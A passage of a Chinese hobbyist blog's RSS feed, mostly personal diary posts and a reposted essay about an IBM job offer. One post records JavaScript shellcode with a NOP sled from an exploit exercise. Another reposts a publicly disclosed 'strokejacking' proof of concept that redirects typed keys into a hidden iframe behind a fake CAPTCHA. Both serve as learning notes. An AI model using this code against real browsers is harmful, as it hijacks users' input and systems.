<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CQ-CSER &#187; 生活</title>
	<atom:link href="http://cq-cser.cn/category/%e7%94%9f%e6%b4%bb/feed/" rel="self" type="application/rss+xml" />
	<link>http://cq-cser.cn</link>
	<description>计算机爱好者</description>
	<lastBuildDate>Sun, 15 Jan 2012 08:17:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>随便+++1</title>
		<link>http://cq-cser.cn/2011/08/%e9%9a%8f%e4%be%bf1-2/</link>
		<comments>http://cq-cser.cn/2011/08/%e9%9a%8f%e4%be%bf1-2/#comments</comments>
		<pubDate>Mon, 29 Aug 2011 07:10:08 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1473</guid>
		<description><![CDATA[几个链接 http://httpd.apache.org/docs/1.3/howto/htaccess.html http://www.backtrack-linux.org/forums/backtrack-howtos/34469-getting-broadcom-wireless-work-backtrack.html http://www.backtrack-linux.org/tutorials/ 近日搞了搞BT5，PHY文件没头绪，无线抓包DUMP的数据？有空再搞吧 另NGINX因一个念头没去搞，今天突然发现全部都补丁了，一些很有兴趣的地方就这样错过了， 果然都是各种想找挑战的人啊，3天，3月，3年定律？ 兴趣点太多让我很困扰啊 Related posts:IBM出品PHP教程文章


Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/ibm%e5%87%ba%e5%93%81php%e6%95%99%e7%a8%8b%e6%96%87%e7%ab%a0/' rel='bookmark' title='Permanent Link: IBM出品PHP教程文章'>IBM出品PHP教程文章</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><span id="more-1473"></span>几个链接</p>
<p>http://httpd.apache.org/docs/1.3/howto/htaccess.html</p>
<p>http://www.backtrack-linux.org/forums/backtrack-howtos/34469-getting-broadcom-wireless-work-backtrack.html</p>
<p>http://www.backtrack-linux.org/tutorials/</p>
<p>近日搞了搞BT5，PHY文件没头绪，无线抓包DUMP的数据？有空再搞吧<br />
另NGINX因一个念头没去搞，今天突然发现全部都补丁了，一些很有兴趣的地方就这样错过了，<br />
果然都是各种想找挑战的人啊，3天，3月，3年定律？<br />
兴趣点太多让我很困扰啊</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/ibm%e5%87%ba%e5%93%81php%e6%95%99%e7%a8%8b%e6%96%87%e7%ab%a0/' rel='bookmark' title='Permanent Link: IBM出品PHP教程文章'>IBM出品PHP教程文章</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/08/%e9%9a%8f%e4%be%bf1-2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>随笔+1</title>
		<link>http://cq-cser.cn/2011/05/%e9%9a%8f%e7%ac%941/</link>
		<comments>http://cq-cser.cn/2011/05/%e9%9a%8f%e7%ac%941/#comments</comments>
		<pubDate>Mon, 02 May 2011 15:50:47 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1461</guid>
		<description><![CDATA[连续几天都在搞那个exploitme搞得异常纠结，唯有XSS感觉顺手 ，APP和kernel的纠结+1，到最后还是没搞清具体为什么会溢出，顺便记下那个JS的shellcode格式。中间不能有换行哦～ &#60;html&#62; &#60;head&#62; &#60;SCRIPT LANGUAGE=&#34;JavaScript&#34;&#62; var shellcode=unescape( '%u6268%u6f30%u6461%u7990%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9033%udb53 %u6863%u614c%u638b%uc450%uB86f%uB167%u76FF%ud053 %uB8EF%u2A10%u76FF%uD090%u9090%u9090%u9090%u9090 %u9090%u9090%u9090%u9090%u9090%u9090%u9000%u12c2 %ud043%u4490%u3033'); function openwin() { window.open(shellcode); } function openwin1() { OpenWindow=window.open(&#34;http://www.baidu.com&#34;, &#34;newwin&#34;, &#34;height=250, width=250,toolbar=no ,scrollbars=&#34;+scroll+&#34;,menubar=no&#34;); } function openwin2() { alert(shellcode); } &#60;/SCRIPT&#62; &#60;/head&#62; &#60;body&#62; &#60;a href=&#34;#&#34; onclick=&#34;openwin()&#34;&#62;打开一个窗口&#60;/a&#62; &#60;input type=&#34;button&#34; onclick=&#34;openwin()&#34; value=&#34;click [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/02/evalfunctionpackerefunctionc/' rel='bookmark' title='Permanent Link: eval(function(p,a,c,k,e,r){e=function(c)'>eval(function(p,a,c,k,e,r){e=function(c)</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net-qq-javascript-register/' rel='bookmark' title='Permanent Link: asp.net 实现QQ在线聊天程序中javascript的窗口注册机制'>asp.net 实现QQ在线聊天程序中javascript的窗口注册机制</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><span id="more-1461"></span>连续几天都在搞那个exploitme搞得异常纠结，唯有XSS感觉顺手 ，APP和kernel的纠结+1，到最后还是没搞清具体为什么会溢出，顺便记下那个JS的shellcode格式。中间不能有换行哦～</p>
<pre class="brush: plain;">

&lt;html&gt;
 &lt;head&gt;
 &lt;SCRIPT LANGUAGE=&quot;JavaScript&quot;&gt;
var shellcode=unescape(
'%u6268%u6f30%u6461%u7990%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9033%udb53
%u6863%u614c%u638b%uc450%uB86f%uB167%u76FF%ud053
%uB8EF%u2A10%u76FF%uD090%u9090%u9090%u9090%u9090
%u9090%u9090%u9090%u9090%u9090%u9090%u9000%u12c2
%ud043%u4490%u3033');
 function openwin()
 {
 window.open(shellcode);
 }
 function openwin1()
 {
 OpenWindow=window.open(&quot;http://www.baidu.com&quot;, &quot;newwin&quot;, &quot;height=250, width=250,toolbar=no ,scrollbars=&quot;+scroll+&quot;,menubar=no&quot;);
 }
 function openwin2()
 {
 alert(shellcode);
 }
 &lt;/SCRIPT&gt;
 &lt;/head&gt;
 &lt;body&gt;
 &lt;a href=&quot;#&quot; onclick=&quot;openwin()&quot;&gt;打开一个窗口&lt;/a&gt;
 &lt;input type=&quot;button&quot; onclick=&quot;openwin()&quot; value=&quot;click me&quot;&gt;
&lt;input type=&quot;button&quot; onclick=&quot;openwin1()&quot; value=&quot;click me&quot;&gt;
&lt;input type=&quot;button&quot; onclick=&quot;openwin2()&quot; value=&quot;click me&quot;&gt;
 &lt;/body&gt;
 &lt;/html&gt;
</pre>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/02/evalfunctionpackerefunctionc/' rel='bookmark' title='Permanent Link: eval(function(p,a,c,k,e,r){e=function(c)'>eval(function(p,a,c,k,e,r){e=function(c)</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net-qq-javascript-register/' rel='bookmark' title='Permanent Link: asp.net 实现QQ在线聊天程序中javascript的窗口注册机制'>asp.net 实现QQ在线聊天程序中javascript的窗口注册机制</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/05/%e9%9a%8f%e7%ac%941/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>随笔</title>
		<link>http://cq-cser.cn/2011/03/%e9%9a%8f%e7%ac%94-6/</link>
		<comments>http://cq-cser.cn/2011/03/%e9%9a%8f%e7%ac%94-6/#comments</comments>
		<pubDate>Sun, 20 Mar 2011 10:05:13 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1449</guid>
		<description><![CDATA[最近过得太安逸，感受着独自烧菜和集体编程的乐趣，虽然上下班时间有点长 ，公司在不断前进。 然“生于忧患死于安乐”，寂寞让人思考，还是要好好计划下，好好搞搞，难怪大家都喜欢搞个神马警示言之类的。 什么时候有空去逛河山去啊！！！！ No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>最近过得太安逸，感受着独自烧菜和集体编程的乐趣，虽然上下班时间有点长 ，公司在不断前进。</p>
<p>然“生于忧患死于安乐”，寂寞让人思考，还是要好好计划下，好好搞搞，难怪大家都喜欢搞个神马警示言之类的。</p>
<p>什么时候有空去逛河山去啊！！！！</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/03/%e9%9a%8f%e7%ac%94-6/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>密码保护：2011.1.15</title>
		<link>http://cq-cser.cn/2011/01/2011-1-15/</link>
		<comments>http://cq-cser.cn/2011/01/2011-1-15/#comments</comments>
		<pubDate>Sat, 15 Jan 2011 13:43:43 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1413</guid>
		<description><![CDATA[无法提供任何摘要。这是一篇受保护的文章。


No related posts.]]></description>
			<content:encoded><![CDATA[<form action="http://cq-cser.cn/wp-pass.php" method="post">
<p>这是一篇受密码保护的文章。您需要提供访问密码：</p>
<p><label for="pwbox-1413">密码：<br />
<input name="post_password" id="pwbox-1413" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="提交" /></p></form>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/01/2011-1-15/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>随笔</title>
		<link>http://cq-cser.cn/2010/07/%e9%9a%8f%e7%ac%94-5/</link>
		<comments>http://cq-cser.cn/2010/07/%e9%9a%8f%e7%ac%94-5/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 16:31:06 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1313</guid>
		<description><![CDATA[这一阶段到月底告一段落，新路线开始。话说大牛无数，或许学学文学也不错，又看了遍FAME，证明自我价值？潜心专研？CER和HER的故事似乎那么迷人，或许对着某某唱TRY，一起搞搞艺术，唱歌跳舞也不错。 另传说最近个人知识管理越来越热了，我也要没事要写写小结，果然成人世界有他自己的魅力，you want to play?join us. it&#8217;s time to be strong   另:http://cq-cser.cn/?preview=1&#38;template=yb-light&#38;stylesheet=yb-light 这个主题不错啊 No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p><span id="more-1313"></span>这一阶段到月底告一段落，新路线开始。话说大牛无数，或许学学文学也不错，又看了遍FAME，证明自我价值？潜心专研？CER和HER的故事似乎那么迷人，或许对着某某唱TRY，一起搞搞艺术，唱歌跳舞也不错。</p>
<p>另传说最近个人知识管理越来越热了，我也要没事要写写小结，果然成人世界有他自己的魅力，you want to play?join us. it&#8217;s time to be strong  </p>
<p>另:<a href="http://cq-cser.cn/?preview=1&amp;template=yb-light&amp;stylesheet=yb-light">http://cq-cser.cn/?preview=1&amp;template=yb-light&amp;stylesheet=yb-light</a> 这个主题不错啊</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/07/%e9%9a%8f%e7%ac%94-5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>纠结-10.4.5</title>
		<link>http://cq-cser.cn/2010/04/%e7%ba%a0%e7%bb%93-10-4-5/</link>
		<comments>http://cq-cser.cn/2010/04/%e7%ba%a0%e7%bb%93-10-4-5/#comments</comments>
		<pubDate>Mon, 05 Apr 2010 15:17:56 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1124</guid>
		<description><![CDATA[清明放假几天写的玩的，MUSIC，简而言之就是个播放器和浏览器的集合体。 再来就是一个纪念了。从某战队到校队到路人这么长时间，一切终归虚幻。格盘。呵，纪念下吧 No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>清明放假几天写的玩的，<a href="http://cq-cser.cn/wp-content/uploads/2010/04/MUSIC.exe">MUSIC</a>，简而言之就是个播放器和浏览器的集合体。</p>
<p>再来就是一个纪念了。从某战队到校队到路人这么长时间，一切终归虚幻。格盘。呵，纪念下吧<span id="more-1124"></span></p>
<p><a href="http://cq-cser.cn/wp-content/uploads/2010/04/real3.jpg"><img class="alignnone size-full wp-image-1123" title="real3" src="http://cq-cser.cn/wp-content/uploads/2010/04/real3.jpg" alt="real3" width="930" height="407" /></a></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/04/%e7%ba%a0%e7%bb%93-10-4-5/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GOOGLE APP ENGINE</title>
		<link>http://cq-cser.cn/2010/04/google-app-engine/</link>
		<comments>http://cq-cser.cn/2010/04/google-app-engine/#comments</comments>
		<pubDate>Sun, 04 Apr 2010 02:55:56 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1118</guid>
		<description><![CDATA[最近闲着无聊，玩玩这个吧。顺便当学习.PY。 No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p><img src="http://code.google.com/appengine/images/appengine-silver-120x30.gif" alt="Powered by Google App Engine" /></p>
<p>最近闲着无聊，玩玩这个吧。顺便当学习.PY。</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/04/google-app-engine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>strokejacking</title>
		<link>http://cq-cser.cn/2010/03/strokejacking/</link>
		<comments>http://cq-cser.cn/2010/03/strokejacking/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 09:53:52 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1024</guid>
		<description><![CDATA[这个欺骗演示工作在WebKit内核的浏览器上。 POC: &#60;body onload=&#8221;document.getElementById(&#8216;dummy&#8217;).focus()&#8221;&#62; &#60;h3&#62;Totally legitimate CAPTCHA page&#60;/h3&#62; &#60;iframe src=&#8221;http://www.google.com/&#8221; id=victim name=victim style=&#8221;opacity: 0.2&#8243; height=&#8221;20%&#8221; width=&#8221;80%&#8221;&#62; &#60;/iframe&#62; &#60;script&#62; var need = [ 80, 79, 82, 78, 13 ]; var text = [ 'p', 'o', 'r', 'n', '' ]; var cur_pos = 0; function maybe_redirect(e) { var evt = window.event ? event : e; var cc [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e5%9c%a8webform%e4%b8%8a%e8%bf%9b%e8%a1%8c%e6%8b%96%e6%8b%bd/' rel='bookmark' title='Permanent Link: 在WebForm上进行拖拽'>在WebForm上进行拖拽</a></li>
<li><a href='http://cq-cser.cn/2009/12/div%e7%a7%bb%e5%8a%a8/' rel='bookmark' title='Permanent Link: DIV移动'>DIV移动</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>这个欺骗演示工作在WebKit内核的浏览器上。<span id="more-1024"></span></p>
<p>POC:</p>
<p><span style="color: #ff0000;">&lt;body onload=&#8221;document.getElementById(&#8216;dummy&#8217;).focus()&#8221;&gt;<br />
&lt;h3&gt;Totally legitimate CAPTCHA page&lt;/h3&gt;<br />
&lt;iframe src=&#8221;http://www.google.com/&#8221; id=victim name=victim style=&#8221;opacity: 0.2&#8243; height=&#8221;20%&#8221; width=&#8221;80%&#8221;&gt;<br />
&lt;/iframe&gt;<br />
&lt;script&gt;<br />
var need = [ 80, 79, 82, 78, 13 ];<br />
var text = [ 'p', 'o', 'r', 'n', '' ];<br />
var cur_pos = 0;<br />
function maybe_redirect(e) {<br />
var evt = window.event ? event : e;<br />
var cc = evt.charCode ? evt.charCode : evt.keyCode;<br />
if (cur_pos &gt;= need.length || need[cur_pos] != cc) return;<br />
if (window.netscape == undefined) {<br />
document.getElementById(&#8216;victim&#8217;).focus();<br />
} else {<br />
frames['victim'].focus();<br />
}<br />
document.getElementById(&#8216;dummy&#8217;).value += text[cur_pos];<br />
cur_pos++;<br />
setTimeout(&#8216;focus();document.getElementById(&#8220;dummy&#8221;).focus()&#8217;,1);</p>
<p>}<br />
&lt;/script&gt;<br />
&lt;p&gt;<br />
&lt;span style=&#8221;border: 1px solid red; background-color: #FFFFC0; font-size: 20pt; padding: 5px&#8221;&gt;opportunity&lt;/span&gt;<br />
&lt;p&gt;<br />
Retype text from the image to authenticate, then hit RETURN:&lt;br&gt;<br />
&lt;input type=text onkeydown=&#8221;maybe_redirect(event)&#8221; id=dummy&gt;<br />
&lt;p&gt;<br />
&lt;font color=gray size=-1&gt;PS. Can we call it &#8220;strokejacking&#8221;?&lt;/font&gt;&lt;br&gt;<br />
&lt;font color=gray size=-1&gt;PPS. This version should work in Firefox 3.x, too. Enjoy.&lt;/font&gt;</span></p>
<p>Demo:http://lcamtuf.coredump.cx/focus-webkit/</p>
<p>Info:http://seclists.org/fulldisclosure/2010/Mar/232</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/01/%e7%a6%81%e6%ad%a2%e5%8f%b3%e9%94%ae%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 禁止右键代码'>禁止右键代码</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e5%9c%a8webform%e4%b8%8a%e8%bf%9b%e8%a1%8c%e6%8b%96%e6%8b%bd/' rel='bookmark' title='Permanent Link: 在WebForm上进行拖拽'>在WebForm上进行拖拽</a></li>
<li><a href='http://cq-cser.cn/2009/12/div%e7%a7%bb%e5%8a%a8/' rel='bookmark' title='Permanent Link: DIV移动'>DIV移动</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/03/strokejacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IBM中国研究院Offer之感言——能力是一种态度（转）</title>
		<link>http://cq-cser.cn/2010/02/ibm%e4%b8%ad%e5%9b%bd%e7%a0%94%e7%a9%b6%e9%99%a2offer%e4%b9%8b%e6%84%9f%e8%a8%80%e2%80%94%e2%80%94%e8%83%bd%e5%8a%9b%e6%98%af%e4%b8%80%e7%a7%8d%e6%80%81%e5%ba%a6%ef%bc%88%e8%bd%ac%ef%bc%89/</link>
		<comments>http://cq-cser.cn/2010/02/ibm%e4%b8%ad%e5%9b%bd%e7%a0%94%e7%a9%b6%e9%99%a2offer%e4%b9%8b%e6%84%9f%e8%a8%80%e2%80%94%e2%80%94%e8%83%bd%e5%8a%9b%e6%98%af%e4%b8%80%e7%a7%8d%e6%80%81%e5%ba%a6%ef%bc%88%e8%bd%ac%ef%bc%89/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 06:52:47 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[生活]]></category>
		<category><![CDATA[IBM]]></category>
		<category><![CDATA[Offer]]></category>
		<category><![CDATA[态度]]></category>
		<category><![CDATA[能力]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=832</guid>
		<description><![CDATA[当我对着远程的大屏，给北京的IBM中国研究院几位面试官汇报完30分钟技术报告之后，心里忐忑不安，这已经是终面了……一关关拼得不容易，但却很精彩! 在之后的几天，很高兴接到了来自IBM两位高级经理的电话，分别给我介绍了他们部门情况和项目情况，表示我的报告“印象深刻”，“能力很突出”……真的是非常感谢他们能给我这个机会！ 诀窍 我不是聪明过人的天才，但是我相信自己的研究能力，这来源于一个诀窍——我悟出一条“定律”，那就是：能力是一种态度！ 简单解释如下：这世界上不缺乏聪明人，但是缺乏懂得运用自己聪明才智的人。 今天的帖子，我希望通过7个真实的故事，去诠释这条定律——能力是一种态度！ 1. 我通过qq在课题组做了一次试验，将同一个问题群发给了6个成员，有3个人回复我：“这个我没遇到过，不会做啊……”；有2个去Google了下，大概告诉了解了应该怎么弄；有一个人，做程序试验了不同方法的优劣，告诉我最好的方法是什么。多年以后，对很多问题都报以“没遇到过，不会啊……”的人，和能力在积累的人，虽然一样聪明，但是差距就很大了。 2. 行人仿真系统研发的初期，我突然发现A*算法和Social Force Model特别有意思，就钻了进去，花了一些时间把它们研究透彻…当我兴致勃勃给老板介绍完各种模型算法之后，老板说：“你去给领导介绍这些模型算法是没用的，他们要的是效果，模型是无止境的…”。当时我也很沮丧，但是后来事实证明，我的“不务正业”是对的！因为智能化的动态寻路能力成为了我们系统的核心创新点，也是每次项目介绍中最得意的内容。 3. 给北京做的“城市轨道交通运营辅助决策系统”是要在08奥运前上线的，时间很紧，临近系统调试的时候，北京测试人员突然打电话说发现某些车站之间候选路径似乎少了一条……当时大家都认为可能就是边界条件问题，稍微改改就好了。我研究了下这个K短路算法(其他人负责开发的)发现竟是理论上的缺陷…… 一时半会儿又没办法给领导解释清楚，我就决定重写这个部分，用数据来说明。由于时间太紧，在北京回上海的火车上看这些很多文献，凭借着良好的A*算法基础，很快设计出新的算法。通过测试发现，老算法共丢了500多条路径！（总共十几万条左右），这时候大家总算舒了一口气了…… 但我并没有罢休，因为匆忙，算法速度不快。继续花了几天，将北京轨道网络中2万多OD之间清分计算时间优化到10多分钟，最后优化到1分钟（在我笔记本上）。上线调试当天，领导赞叹道：“这算法可真是又快又准啊！” 4. 还是上面这个系统的故事：当时北京路网基础数据是一个硕士负责录入的，他毕业以后，上海路网数据没人弄了，老板叫我去做。虽然只是半天时间的体力活，但是心里很不是滋味…… 虽然有人劝说：“花个半天搞定算了哦！”但是我决心不用笨办法——我花了一个星期，凭借曾经开发的“二维矢量图形库”，设计出一个智能化的基础数据管理子系统，只需要在图上简单点击，然后拷入excel中的车站名称和代码，系统自动识别，然后再自动生成区间、换乘关系等等6张数据库表需要的全部数据。后来课题组利用这个工具构建了很多路网，因为非常简单，这个子系统也成为了后来863中网络客流仿真系统的基础。 5. 上物流系统课老师提到一个著名的NP问题——Vehicle Routing Problem，要求大家回去写写系统设计书。我当时就决定要开发这个系统，后来的几个星期，我发现遗传算法和自然界的规律真的是如此的吻合，达到了如痴如醉的地步，被女朋友嘲笑为：“整天关在屋里下崽…”后来结果是，我设计的遗传算法，不但能够求解最少需要多车，还能找到总里程很短的方案。 6. 在斯坦福访学主要是参与一个疏散仿真系统的研究。但是，由于有遗传算法的背景，另外一个教授介绍我参加他们的一个课题——办公大楼改造优化方案的辅助决策系统。 刚开始我认为这是一个确定性问题，因此采用A*算法得到了比较好的效果，已经可以满足项目需求了。我想为了作对比，又设计了遗传算法，居然发现在少数情况下能“变异”到更好解。大量实验后，我发现了两种算法虽然原理差别很大，数据结构上却存在内在联系，能够组合成一种具备通用性的框架，解决大量离散优化问题。 完全出于对科学问题本身的痴迷，我并没有罢手——自行设计了一种数据结构替换哈希表，将两个算法性能同时提升10倍之多（在遗传算法中提出了“花名册”的概念），后来又发明一种“交叉算法”，再次将遗传算法提升十几倍。当时测试案例的人说已经完全跟不上了（已经让他反复做了好多次了），因此最后我们paper里面的数据不是我最快的算法得到的。 7. 利用上面的“离散优化问题搜索框架”，我发现还可以解决《编程之美》中的许多问题。在大家都忙于找工作面试的时候，我却整整花了一个月关在寝室里研究《编程之美》，有时候挑战一个题目整整花去1天时间，当时我身边的人都说我“不务正业”，我自己都有点怀疑了。可是事实证明，这份研究不但证明了兴趣，还证明了我的算法能力，对后来找工作很有帮助。 结论 通过上面的故事，我想已经可以证明我这个定律了——能力是一种态度。如果要问态度是什么，那么我想是一种单纯的，没有任何功利的科学态度，对问题本身的执着。 这7个故事也可以用下面这张图串起来，一面的时候时间很短，我就打印了这个图，凭借它去打动面官。 在我编程之美的学习连载里面，大家看到了很多好的点子。但是，它们都是在平时走路、吃饭、散步的时候想出来的，我这个人从来不擅长考试，女朋友嘲笑我——如果你去微软面试估计危险，因为你没有时间散步…… 我曾经想过，对于一个博士，面试不一定能看出其水平，但是，如果给他30分钟PPT时间，介绍他的研究，水平就一目了然了。 真的没想到的是，在IBM的后2轮面试，全部一一印证了我曾经的设想……用PPT去演讲是我最擅长的东西，因为太多次的磨练了：） 微软的技术是我多年研究和喜爱的东西，微软也是我多年梦想的企业。但是，如今却迟疑了，IBM这份《智慧地球赢在中国》的白皮书确实令人震撼——它能够站在世界经济大环境的角度务实考虑中国的未来…… 原文地址：http://yishan.cc/blogs/gpww/archive/2009/12/02/ibm-offer.aspx No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>当我对着远程的大屏，给北京的IBM中国研究院几位面试官汇报完30分钟技术报告之后，心里忐忑不安，这已经是终面了……一关关拼得不容易，但却很精彩!</p>
<p>在之后的几天，很高兴接到了来自IBM两位高级经理的电话，分别给我介绍了他们部门情况和项目情况，表示我的报告“印象深刻”，“能力很突出”……真的是非常感谢他们能给我这个机会！<span id="more-832"></span></p>
<p>诀窍</p>
<p>我不是聪明过人的天才，但是我相信自己的研究能力，这来源于一个诀窍——我悟出一条“定律”，那就是：能力是一种态度！</p>
<p>简单解释如下：这世界上不缺乏聪明人，但是缺乏懂得运用自己聪明才智的人。</p>
<p>今天的帖子，我希望通过7个真实的故事，去诠释这条定律——能力是一种态度！</p>
<p>1. 我通过qq在课题组做了一次试验，将同一个问题群发给了6个成员，有3个人回复我：“这个我没遇到过，不会做啊……”；有2个去Google了下，大概告诉了解了应该怎么弄；有一个人，做程序试验了不同方法的优劣，告诉我最好的方法是什么。多年以后，对很多问题都报以“没遇到过，不会啊……”的人，和能力在积累的人，虽然一样聪明，但是差距就很大了。</p>
<p>2. 行人仿真系统研发的初期，我突然发现A*算法和Social Force Model特别有意思，就钻了进去，花了一些时间把它们研究透彻…当我兴致勃勃给老板介绍完各种模型算法之后，老板说：“你去给领导介绍这些模型算法是没用的，他们要的是效果，模型是无止境的…”。当时我也很沮丧，但是后来事实证明，我的“不务正业”是对的！因为智能化的动态寻路能力成为了我们系统的核心创新点，也是每次项目介绍中最得意的内容。</p>
<p>3. 给北京做的“城市轨道交通运营辅助决策系统”是要在08奥运前上线的，时间很紧，临近系统调试的时候，北京测试人员突然打电话说发现某些车站之间候选路径似乎少了一条……当时大家都认为可能就是边界条件问题，稍微改改就好了。我研究了下这个K短路算法(其他人负责开发的)发现竟是理论上的缺陷……<br />
一时半会儿又没办法给领导解释清楚，我就决定重写这个部分，用数据来说明。由于时间太紧，在北京回上海的火车上看这些很多文献，凭借着良好的A*算法基础，很快设计出新的算法。通过测试发现，老算法共丢了500多条路径！（总共十几万条左右），这时候大家总算舒了一口气了……<br />
但我并没有罢休，因为匆忙，算法速度不快。继续花了几天，将北京轨道网络中2万多OD之间清分计算时间优化到10多分钟，最后优化到1分钟（在我笔记本上）。上线调试当天，领导赞叹道：“这算法可真是又快又准啊！”</p>
<p>4. 还是上面这个系统的故事：当时北京路网基础数据是一个硕士负责录入的，他毕业以后，上海路网数据没人弄了，老板叫我去做。虽然只是半天时间的体力活，但是心里很不是滋味……<br />
